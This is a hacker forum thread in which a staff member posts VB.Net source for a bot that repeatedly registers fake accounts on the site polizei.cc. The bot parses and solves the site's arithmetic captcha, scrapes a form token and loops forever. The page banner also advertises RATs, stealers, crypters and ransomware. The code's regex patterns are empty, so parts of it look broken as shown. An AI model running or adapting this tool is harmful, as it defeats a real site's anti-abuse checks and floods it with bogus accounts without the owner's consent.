Welcome to The Forum

Register now to gain access to all of our features. Once registered and logged in, you will be able to create topics, post replies to

existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile

and so much more. This message will be removed once you have signed in.

Active Hackers

The best community of active hackers. This community has been working in hacking for more than 10 years.

 

Hacker Forum

Hacker from all countries join this community to share their knowledge and their hacking tools

    Hacking Tools

    You can find thousands of tools shared by hackers. RAT's, Bot's, Crypters FUD, Stealers, Binders, Ransomware, Mallware, Virus, Cracked Accounts, Configs, Guides, Videos and many other things.

      PRIV8

      Become a Priv8 user and access all parts of the forum without restrictions and without limit of download. It only costs 100 dollars, and it will last you for a lifetime.

      Read Rules

      In this community we follow and respect rules, and they are the same for everyone, regardless of the user's rank. Read the rules well not to be prohibited.

      Sign in to follow this  
      dEEpEst

      [VB.Net] Polizei.cc Regbot

      Recommended Posts

      Staff

      [LENGUAJE=vb.net]

      Die module class:

       

      Imports System.IO

      Imports System.Text.RegularExpressions

       

      Module Module1

       

      Sub Main()

      Console.Title = "Polizei.cc Fuckr"

      Dim i As Integer = 1

      Do

      With New Http

      Dim http As String = .GetResponse("http://www.polizei.cc/")

      Dim captcha As String = match(http, "")

      If captcha.Contains("-") Then

      Dim temp As String = captcha.Split("-")(0)

      Dim temp2 As String = captcha.Split("-")(1)

      captcha = temp - temp2

      ElseIf captcha.Contains("+") Then

      Dim temp As String = captcha.Split("+")(0)

      Dim temp2 As String = captcha.Split("+")(1)

      captcha = temp + temp2

      End If

      Dim token As String = match(http, "")

      Dim rnd As New Random

      Dim user As String = "PWNDbyDEV" & rnd.Next(0, 99999999)

      Dim pass As String = "PWNDbyDEV" & rnd.Next(0, 99999999)

      http = .GetResponse("http://www.polizei.cc/index.php?do=register", "username=" & user & "&pass=" & pass & "&pass2=" & pass & "&icq=&capcha=" & captcha & "&token=" & token)

      If http.Contains("Registrierung erfolgreich") Then

      Console.ForegroundColor = ConsoleColor.Green

      Console.WriteLine("[" & zeit() & "] Account Registriert " & i)

      Console.Title = "Polizei.cc Fuckr [Regged Acc's: " & i & "]"

      i += 1

      End If

      End With

      Loop

      End Sub

      Function match(ByVal str_input$, ByVal str_pattern$)

      Dim m As Match = Regex.Match(str_input, str_pattern, RegexOptions.IgnoreCase)

      Return m.Groups(1).Value

      End Function

      Public Function zeit()

      Dim Time As String = DateTime.Now.ToString("HH:mm:ss")

      Return Time

      End Function

      End Module[/LENGUAJE]

       

      [LENGUAJE=vb.net]

      Die http class:

       

      Option Strict On

      Option Explicit On

       

      Imports System.IO

      Imports System.Net

      Imports System.Text

       

      Public Class Http

      Dim cookieCon As New CookieContainer

      Dim request As HttpWebRequest

      Dim response As HttpWebResponse

       

      Public Function GetResponse(ByVal url As String) As String

      request = CType(HttpWebRequest.Create(url), HttpWebRequest)

      request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"

      request.CookieContainer = cookieCon

      response = CType(request.GetResponse(), HttpWebResponse)

      Return New StreamReader(response.GetResponseStream()).ReadToEnd()

      End Function

       

      Public Function GetResponse(ByVal url As String, ByVal post As String) As String

      request = CType(HttpWebRequest.Create(url), HttpWebRequest)

      request.Method = "POST"

      request.CookieContainer = cookieCon

      request.UserAgent = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"

      request.ContentType = "application/x-www-form-urlencoded"

       

      Dim byteArr() As Byte = Encoding.Default.GetBytes(post)

      request.ContentLength = byteArr.Length

       

      Dim dataStream As Stream = request.GetRequestStream()

      dataStream.Write(byteArr, 0, byteArr.Length)

       

      response = CType(request.GetResponse(), HttpWebResponse)

       

      Return New StreamReader(response.GetResponseStream()).ReadToEnd()

      End Function

      End Class[/LENGUAJE]

      Share this post


      Link to post
      Share on other sites
      Guest
      This topic is now closed to further replies.
      Sign in to follow this